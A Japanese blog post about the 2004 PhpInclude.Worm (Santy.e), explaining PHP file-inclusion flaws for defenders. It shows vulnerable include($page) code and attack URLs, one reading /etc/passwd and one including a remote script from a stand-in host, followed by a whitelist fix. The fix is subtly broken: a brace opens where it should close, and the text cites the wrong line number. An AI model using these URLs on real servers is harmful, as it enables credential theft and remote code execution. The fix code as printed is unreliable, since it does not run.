PHPを攻撃対象とするワーム PhpInclude.Worm(Santy.e)
PHPを狙う新たなワームが出現,Webページのプログラム・ミスを突く
米SANS Instituteなどは12月26日,アプリケーション開発言語PHPのインタプリタ「PHP 4/5」を利用しているWebサーバーに感染するワーム「PhpInclude.Worm(Santy.e)」を警告した。PhpInclude.Wormは,Webページのプログラム・ミスを突いてサーバーに侵入するワームであり,PHPやphpBBのセキュリティ・ホールを突くものではない。このため,PHPを利用するすべてのWebサーバーが影響を受ける可能性がある。PHPを利用するWebサーバーの管理者は改めてチェックしたい。
参考 : http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20041227/154332/
参考 : http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/
☆どーゆー脆弱性を突くかというと、、、(devshed.comの独自解釈です。)
PHP環境変数register_globalsがONの状態で、
1:if(isset($page))
2:{
3: include($page);
4:}
というコードがあった場合、
http://www.xxx.com/script.php?page=/etc/passwd
引数にこのようにパスワードファイルを指定されると、
5行目で無条件に引数pageで指定されたファイルをincludeしているので、
ブラウザにパスワードが表示されてしまう。
また同じように、
http://www.xxx.com/script.php?page=http://mysite.com/evilscript.php
とされていた場合、同じように無条件に
http://mysite.com/evilscript.phpをincludeして実行してしまうため、
悪意のあるコードが簡単に実行されてしまう。
☆こいつを防ぐには、、、
1:$pages = array('index.html', 'page2.html', 'page3.html');
2:if( in_array($page, $pages) )
3:{
4: include($page);
5:{
6:else
7:{
8: die("Nice Try.");
9:}
あらかじめ、決まったファイル名のみincludeするようにチェックを掛けるように
するしかない。
(2行目でチェックしている。)
誰か気づきそうで、誰も気づかなかった、すげー脆弱性です。
#追記
eval, requireを使ったコードも同様。
カテゴリ
防忘録トラックバック(0)
このブログ記事を参照しているブログ一覧: PHPを攻撃対象とするワーム PhpInclude.Worm(Santy.e)
このブログ記事に対するトラックバックURL: http://kashinya.com/blog/mt-tb.cgi/35

コメントする